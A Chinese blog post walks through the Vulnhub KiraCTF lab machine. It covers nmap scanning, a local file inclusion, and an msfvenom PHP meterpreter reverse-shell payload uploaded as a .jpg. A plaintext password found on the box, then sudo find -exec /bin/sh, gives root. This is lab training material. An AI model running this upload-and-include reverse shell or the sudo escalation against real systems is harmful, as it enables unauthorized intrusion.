Vulnhub靶机之KiraCTF实战
介绍
vulnhub是一个靶机下载网站,大家可以在该网站下载靶机练练手
靶场下载地址:http://www.vulnhub.com/entry/kira-ctf,594/
信息收集
由于本机的网段是192.168.157.0网段,所以nmap扫描
nmap -sP 192.168.157.144/24
.2是我真实机的ip地址,144是kali地址,156就是目标服务器地址了。
扫描该主机的所有端口和详细信息
nmap -A 192.168.157.156 -p-
貌似只有80端口是打开的,用浏览器打开看看。
页面上有两个按钮,upload是文件上传,并且要求是图片,另外一个language有点猫腻。。。
点了一下发现又有一个按钮,再点一下
页面没有变化,但是url那里多了?lang=en.php,感觉像是有文件包含漏洞,测试一下
还真能包含,那现在基本上就能确定了,可以上传图片木马,然后利用文件包含漏洞去包含图片,从而执行相关PHP语句。
漏洞利用
回到主页,进入upload界面
(这里我没有尝试绕过相关检测直接上传一句话,因为language页面本来就有文件包含漏洞,我就嫌麻烦不测试了XD)
然后利用msfvenom生成木马
wade@kali:~$ msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.157.144 lport=1234 > shell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder specified, outputting raw payload
Payload size: 1116 bytes
再让本机去监听
msf6 > use exploit/multi/handler
//设置好payload
set payload php/meterpreter/reverse_tcp
//设置好本机的ip地址和监听的端口号
set LHOST 192.168.157.144
set LPORT 1234
exploit
由于目标网站要求上传图片,咱们就把刚刚生成的木马后缀名改成.jpg上传试试。
wade@kali:~$ mv shell.php shell.jpg
上传成功,并且还告诉了上传路径,咱们赶紧文件包含去
成功获得目标主机的shell,剩下的就是提权拿flag了。
提权
meterpreter > shell
Process 2532 created.
Channel 0 created.
whoami
www-data
这里我先用python获得交互式shell
//目标主机没有装python2版本,但装了python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@bassam-aziz:/var/www/html$ ls -la
ls -la
total 28
drwxr-xr-x 4 root root 4096 ما� 26 2020 .
drwxr-xr-x 3 root root 4096 ما� 26 2020 ..
-rw-r--r-- 1 root root 163 ما� 26 2020 index.html
-rw-r--r-- 1 root root 287 ما� 26 2020 language.php
drwxr-xr-x 2 root root 4096 نو� 4 10:52 supersecret-for-aziz
-rw-r--r-- 1 root root 747 ما� 26 2020 upload.php
drwxrwxrwx 2 root root 4096 نو� 26 21:09 uploads
www-data@bassam-aziz:/var/www/html$
这里发现了一个supersecret-for-aziz,进去看看
-rw-r--r-- 1 root root 15 نو� 4 10:52 bassam-pass.txt
找到了一个bassam用户的密码,之前文件包含passwd文件的时候看到过这个用户
Password123!@#
用su登录一下该用户
www-data@bassam-aziz:/var/www/html/supersecret-for-aziz$ su bassam
su bassam
Password: Password123!@#
bassam@bassam-aziz:/var/www/html/supersecret-for-aziz$
去该用户的家目录看看
bassam@bassam-aziz:~$ ls -la
ls -la
total 116
drwxr-xr-x 16 bassam bassam 4096 نوفمب 26 23:51 .
drwxr-xr-x 3 root root 4096 مارس 26 2020 ..
-rw------- 1 bassam bassam 0 نوفمب 4 11:02 .bash_history
-rw-r--r-- 1 bassam bassam 220 مارس 26 2020 .bash_logout
-rw-r--r-- 1 bassam bassam 3771 مارس 26 2020 .bashrc
drwx------ 13 bassam bassam 4096 مارس 26 2020 .cache
drwx------ 11 bassam bassam 4096 مارس 26 2020 .config
drwxr-xr-x 2 bassam bassam 4096 مارس 26 2020 Desktop
drwxr-xr-x 2 bassam bassam 4096 مارس 26 2020 Documents
drwxr-xr-x 2 bassam bassam 4096 مارس 26 2020 Downloads
-rw-r--r-- 1 bassam bassam 8980 مارس 26 2020 examples.desktop
drwx------ 3 bassam bassam 4096 مارس 26 2020 .gnupg
-rw------- 1 bassam bassam 2028 نوفمب 26 23:51 .ICEauthority
drwx------ 3 bassam bassam 4096 مارس 26 2020 .local
drwx------ 5 bassam bassam 4096 مارس 26 2020 .mozilla
drwxr-xr-x 2 bassam bassam 4096 مارس 26 2020 Music
drwxr-xr-x 2 bassam bassam 4096 مارس 26 2020 Pictures
-rw-r--r-- 1 bassam bassam 807 مارس 26 2020 .profile
drwxr-xr-x 2 bassam bassam 4096 مارس 26 2020 Public
-rw-r--r-- 1 root root 66 مارس 26 2020 .selected_editor
drwx------ 2 bassam bassam 4096 مارس 26 2020 .ssh
-rw-r--r-- 1 bassam bassam 0 مارس 26 2020 .sudo_as_admin_successful
drwxr-xr-x 2 bassam bassam 4096 مارس 26 2020 Templates
-rw------- 1 bassam bassam 32 نوفمب 4 10:57 user.txt
-rw-r----- 1 bassam bassam 5 نوفمب 4 10:49 .vboxclient-clipboard.pid
-rw-r----- 1 bassam bassam 5 نوفمب 4 10:49 .vboxclient-display.pid
-rw-r----- 1 bassam bassam 5 نوفمب 4 10:49 .vboxclient-draganddrop.pid
-rw-r----- 1 bassam bassam 5 نوفمب 4 10:49 .vboxclient-seamless.pid
drwxr-xr-x 2 bassam bassam 4096 مارس 26 2020 Videos
看到有个user.txt,但不知道里面的内容具体啥含义
cat user.txt
THM{Bassam-Is-Better_Than-KIRA}
用sudo -l看看有啥信息
bassam@bassam-aziz:~$ sudo -l
sudo -l
[sudo] password for bassam: Password123!@#
Matching Defaults entries for bassam on bassam-aziz:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bassam may run the following commands on bassam-aziz:
(ALL : ALL) /usr/bin/find
关键就在最后两行,bassam可以以任何用户的身份去使用find命令,那也就是说用sudo find就可以用root身份去使用了,那么直接用命令
cd /tmp
touch test
sudo find / -type f -name test -exec "/bin/sh" \;
最后拿到最高权限
bassam@bassam-aziz:/tmp$ sudo find / -type f -name test -exec "/bin/sh" \;
sudo find / -type f -name test -exec "/bin/sh" \;
[sudo] password for bassam: Password123!@#
# whoami
whoami
root
拿到flag
# cd /root
cd /root
# ls
ls
flag.txt
# cat flag.txt
cat flag.txt
THM{root-Is_Better-Than_All-of-THEM-31337}
总结
这个靶机难度比较简单,漏洞啥的都很明显,就是利用文件包含漏洞去包含一个图片木马从而执行相关php代码的操作,拿到shell后提权,用sudo -l去发现新的信息和思路,最后用find命令成功提权。
新人发帖,各位多多包含,如果文章讲解不严谨或有误,望各位指出,本人将感激不尽!